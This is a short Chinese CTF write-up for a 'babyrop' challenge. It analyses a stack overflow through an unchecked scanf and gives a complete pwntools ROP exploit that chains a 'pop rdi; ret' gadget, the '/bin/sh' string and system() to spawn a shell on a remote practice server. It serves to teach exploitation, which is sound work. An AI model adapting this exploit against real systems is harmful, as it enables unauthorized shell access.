思路
先使用 checksec
检查
┌──(kali㉿kali)-[~/桌面]
└─$ checksec ./babyrop
[*] '/home/kali/桌面/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
发现为 64 位小端序,只开了 NX 保护和 RELRO
使用 IDA Pro 查看
发现 system
函数
发现 '/bin/sh'
字符串
查看 main
函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF
system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", v4);
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}
v4
是一个栈中的变量,距离 rbp
有 0x10
个字节,但是在输入时没有检查,可以构造成栈溢出
由于是 64 位的,所以需要使用 ROPgadget 查找 pop rdi; ret
用于将变量值传递给寄存器
┌──(kali㉿kali)-[~/桌面]
└─$ ROPgadget --binary ./babyrop | grep 'pop rdi'
/usr/local/bin/ROPgadget:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
__import__('pkg_resources').run_script('ROPGadget==7.4', 'ROPgadget')
0x0000000000400683 : pop rdi ; ret
通过 v4
变量的栈溢出,先使用 pop rdi; ret
将变量值传递给寄存器,而后调用 system
函数,实现 getshell
exp
# python3.11.6
from pwn import *
binname = 'babyrop'
context(arch='amd64', os='linux', log_level='debug')
# io = process(binname)
io = remote('node5.buuoj.cn', 27594)
system_addr = 0x0000000000400490
binsh_addr = 0x0000000000601048
poprdi_addr = 0x0000000000400683
payload = b'a'*0x10 + b'b'*8 + p64(poprdi_addr) + p64(binsh_addr) + p64(system_addr)
io.recv()
io.sendline(payload)
io.interactive()
总结
非常经典的 ROP